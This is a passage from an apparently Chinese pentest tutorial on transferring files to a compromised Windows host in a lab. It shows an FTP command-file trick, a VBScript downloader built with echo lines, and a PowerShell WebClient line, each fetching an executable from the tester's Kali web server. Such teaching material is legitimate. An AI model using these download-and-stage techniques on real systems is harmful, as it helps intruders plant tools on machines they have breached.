
文章插图
cat /etc/ftpusers
完成上述配置后重启一下vsftpd的服务 , 让配置生效:

文章插图
重启vsftpd服务
这个时候已经可以正常使用ftp了 , 先在本地试一下:

文章插图
本地使用ftp
换到windows环境下访问ftp:

文章插图
ftp://ftpuser:ftpuser@192.168.0.102
别用浏览器直接输入命令 , 大概率会出现问题 , 到“我的电脑”地址栏输入命令 , 或者也可以使用ftp工具(Windows自带ftp工具) 。
这里可能有些同学会想到我们最开始获取的都是非交互模式shell , 无法正常完成账户名、密码的验证 , 也没有图形化界面可以使用 。
其实可以换个思路 , 将所有目标机器上要执行的ftp命令 , 都写到目标机器的文本文件里 , 最后使用Windows上的ftp命令调用前面写的文本文件:

文章插图
在目标机器制作ftp.txt文件
让ftp读取文本中的相关指令:

文章插图
执行ftp.txt
可以查看一下是否获取到文件:

文章插图
查看获取到的文件
往Windows传文件:vbscriptvbscript能实现的功能很多 , 这里就演示一个让目标主机通过http访问我预先准备好的地址 , 将事先准备好的软件下载到目标主机 。
因为要通过http访问 , 所以要启动一个服务 , 这里使用kali中自带的Apache服务:

文章插图
service apache2 start
apache服务的默认目录在:/var/www/html , 将要传给目标主机的软件移动或者复制到这个目录:

文章插图
将软件存入预定位置
生成vbscript的脚本的命令如下:
echo strUrl = WScript.Arguments.Item(0) > wget.vbsecho StrFile = WScript.Arguments.Item(1) >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbsecho Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbsecho Err.Clear >> wget.vbsecho Set http = Nothing >> wget.vbsecho Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbsecho If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbsecho If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbsecho If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbsecho http.Open "GET", strUrl, False >> wget.vbsecho http.Send >> wget.vbsecho varByteArray = http.ResponseBody >> wget.vbsecho Set http = Nothing >> wget.vbsecho Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbsecho Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbsecho strData = https://www.isolves.com/it/aq/wl/2022-03-29/"" >> wget.vbsecho strBuffer = "" >> wget.vbsecho For lngCounter = 0 to UBound(varByteArray) >> wget.vbsecho ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter + 1, 1))) >> wget.vbsecho Next >> wget.vbsecho ts.Close >> wget.vbs最后生成的vbscript脚本是这样的:
文章插图
vbscript脚本
执行的时候需要使用cscript工具:

文章插图
cscript wget.vbs http://192.168.0.102/whoami.exe whoami.exe
查看软件是否被下载:

文章插图
检查下载的软件
往Windows传文件:powershellvbscript相对以前 , 其实不是很被推崇了 , 现在比较新的Windows系统 , 都是推荐使用powershell , 所以这里也介绍一种powershell传输软件的方式 。
脚本比较简单:
$storngeDir = $pwd$webclient = New-Object System.Net.WebClient$url = 'http://192.168.0.102/whoami.exe'$file = 'D:w.exe'$webclient.DownloadFile($url, $file)
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 关于垃圾收集器Parallel Scavenge的GCTimeRatio参数的理解
- 肺癌患者术后有哪些需要注意的
- 肺癌手术后需要注意什么
- 养老保险交15年和25年,退休后的退休金差距大吗?
- 公务员死亡后有哪些待遇?主要有四笔
- 四十岁后,具备这三种力,才能过好后半生
- 后驱更好开,为什么大部分家用车都被设计成前驱?
- 求职|九零,零零后的各位,你们工作能实现双休吗?
- 大雪节气过后御寒的三款食谱推荐
- 阑尾炎不能吃什么 阑尾炎手术后饮食的注意事项
